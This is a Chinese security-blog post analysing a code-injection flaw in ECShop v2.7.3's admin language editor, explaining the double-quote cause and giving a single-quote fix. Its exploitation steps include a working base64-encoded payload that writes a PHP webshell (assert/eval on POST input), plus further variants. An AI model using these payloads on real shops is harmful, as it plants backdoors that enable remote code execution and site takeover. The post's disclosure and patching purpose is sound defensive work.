神刀安全网

ECSHOP v2.7.3注入漏洞分析和修复

  1. 测试版本
  2. 漏洞条件
  3. 漏洞利用
  4. 产生原因
  5. 修复方案

1.测试版本

v2.7.3 RELEASE 20121106(最新)v2.7.3 RELEASE 20120411

2.漏洞条件

需登录到后台

3.漏洞利用

1) 登陆到台后,选择模板管理,语言项编辑,搜索“用户信息”

ECSHOP v2.7.3注入漏洞分析和修复

为什么要搜索“用户信息”,还可以搜索其它的吗?

答案是搜索 languages/zh_cn/user.php 文件里任何一个变量都可以

ECSHOP v2.7.3注入漏洞分析和修复

2) 添加如下后门,将用户信息改为

 用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}} 

即生成一个JoyChou.php文件,内容为:

 <?php assert( $_POST[x] ); ?> 

ECSHOP v2.7.3注入漏洞分析和修复

3) 访问user.php即可产生shell(不用注册登录账户)

 http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php 或 http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php 

ECSHOP v2.7.3注入漏洞分析和修复

4.产生原因

在admin/edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。

  for ($i = 0; $i < count($_POST['item_id']); $i++)     {         /* 语言项内容如果为空,不修改 */         if (trim($_POST['item_content'][$i]) == '')         {             unset($src_items[$i]);         }         else         {             $_POST['item_content'][$i] = str_replace('////n', '//n', $_POST['item_content'][$i]);             /* $_POST['item_content'][$i]是修改后增加的内容,即增加的"用户信息${${fputs(fopen"等内容                $dst_items[$i] 是 $_LANG['label_profile'] = "用户信息${${fputs(fopen";              */             $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';         }     } 

修改完后文件/languages/zh_cn/user.php变量为:注意是双引号哦

 $_LANG['label_profile'] = "用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}"; 

ECSHOP v2.7.3注入漏洞分析和修复

由于是双引号,所以只要在任意的php文件中引用这个变量,代码就会成功执行。

至于为什么可以执行?原理如下:

下面这三句话都可以执行,与其说代码执行,不如说参数执行。

 <?php  $a = "${ phpinfo()}";  // 有一个空格 $b = "{${phpinfo()}}"; // 多一对{},但是没有空格 $c = "{${fputs(fopen("JoyChou.php", "w+"), "<?php eval(/$_POST[1]);?>")}}"; $d = "asdf{${phpinfo()}}"; // {字符前可以随意加字符串 ?> 

http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php 这个文件包含 /languages/zh_cn/user.php 这个文件,所以也可以代码执行。

 /* 载入语言文件 */ require_once(ROOT_PATH . 'languages/' .$_CFG['lang']. '/user.php'); 

5.漏洞修复

了解了漏洞原理后,修复就是一件比较简单的事情,只需将双引号改为单引号

修改/admin/edit_languages.php

 // 修复前 $dst_items[$i] = $_POST['item_id'][$i] .' = '. '"' .$_POST['item_content'][$i]. '";';   // 修复后,由于想在单引号之间出现单引号,必须使用转义。 $dst_items[$i] = $_POST['item_id'][$i] .' = '. '/'' .$_POST['item_content'][$i]. '/';'; 

再次访问 http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php 已经不能生成 JoyChou.php ,代码没能得到执行。

注:这个注入漏洞很老,但一直存在。我从模板堂下载的ECShop最新版,就含有此漏洞。网站搭建在阿里云,提示服务器上ECShop有注入漏洞,查看后才发现。虽然我已经及时修复,但更多用户可能未曾留意或者没技术支持吧。

&nbsp;

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » ECSHOP v2.7.3注入漏洞分析和修复

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮